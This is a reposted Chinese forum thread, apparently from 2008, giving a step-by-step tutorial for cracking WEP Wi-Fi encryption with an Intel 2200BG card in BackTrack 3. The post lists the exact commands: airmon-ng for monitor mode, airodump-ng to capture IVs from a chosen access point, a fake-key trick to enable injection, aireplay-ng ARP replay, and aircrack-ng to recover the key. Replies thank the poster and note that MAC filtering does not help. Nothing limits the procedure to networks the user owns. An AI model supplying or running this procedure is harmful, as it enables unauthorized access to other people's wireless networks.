【转帖】Intel 2200bg注入式**wep简明教程

U_Right

感谢liyg
转自中国无线门户,原文地址：http://www.anywlan.com/bbs/dispb ... ;id=9459&skin=0



目前，80％的笔记本电脑内置了Intel 2200BG无线网卡，此卡性能稳定，功率大，信号好，性能稳定。但由于其在bt3下，不能直接支持注入式**，多数人用此卡**不成功，不得不购买所谓支持注入**的。
笔者研2200BG破究了各种用Intel 解wep的方法，近期终于活动突破性进展。终于实现”抱着笔记本即可走天下“的愿望，不敢独享，遂发帖，与各位兄弟共同学习之。
1．装备： dell D410笔记本、内置Intel2200BG无线网卡，bt3中文u盘。
2．启动BT3,打开一个窗口，输入ifconfig –a 查看网卡
3.输入airmon-ng start eth1

激活网卡的Monitor模式


4.输入抓包命令，抓包并查看你要**的ap的mac和与之相连的客户端mac。
输入命令

airodump-ng --ivs -w name –c 6 eth1

，其中，eth1是你**用的网卡接口名（下同），这样，你的窗口将显示一个工作站，可以看到你要**的ap的essid 和mac 和与之相连接的客户端的mac。


5.上面窗口不关闭，另开一个窗口，输入命令
modprobe ipw2200 rtap_iface=1回车
再注入
iwconfig eth1 ap <AP MAC>



其中，ap后面跟你要**的ap的mac，值得注意的是，这个mac必须输入中间的“：”。（如图）
回车后，输入
iwconfig eth1 key s:fakekey
回车，如果输入准确无误，你已经成功的为2200打上了注入补丁，后面就可以用常规方式进行注入、**了。
6．输入aireplay-ng -3 -b ap的mac -h 客户端网卡的mac eth1

进行注入。
快的一分钟，慢的5分钟，即可成功注入。

到数据增加到1万以上时，另开窗口，启动
aircrack-ng -n 64 name-01.ivs
其中
64 是64位密码，如果是128位，换成128即可实现**。

weimingtang

我暴力的支持啊，我的是T43，苦于网卡很久了……感谢！

cncommerce

对我也有帮助 呵呵 谢谢了 !

blueguitar2005

同时开启了MAC限制和wep加密的也能破 解？

U_Right

intel 2200 **又有新方法咯，无客户端也能**了，感谢liyg
请移步到
http://www.anywlan.com/bbs/dispb ... ;ID=9561&page=1

liyg1595

好久没来专门网了，今天来转转，居然看见自己的帖子被转载，很开心。

liyg1595

QUOTE:

Posted by U_Right on 2008-5-19 21:21
intel 2200 **又有新方法咯，无客户端也能**了，感谢liyg
请移步到
http://www.anywlan.com/bbs/dispb ... ;ID=9561&page=1

   wep基本上已经无密可言了，开启过滤也没用。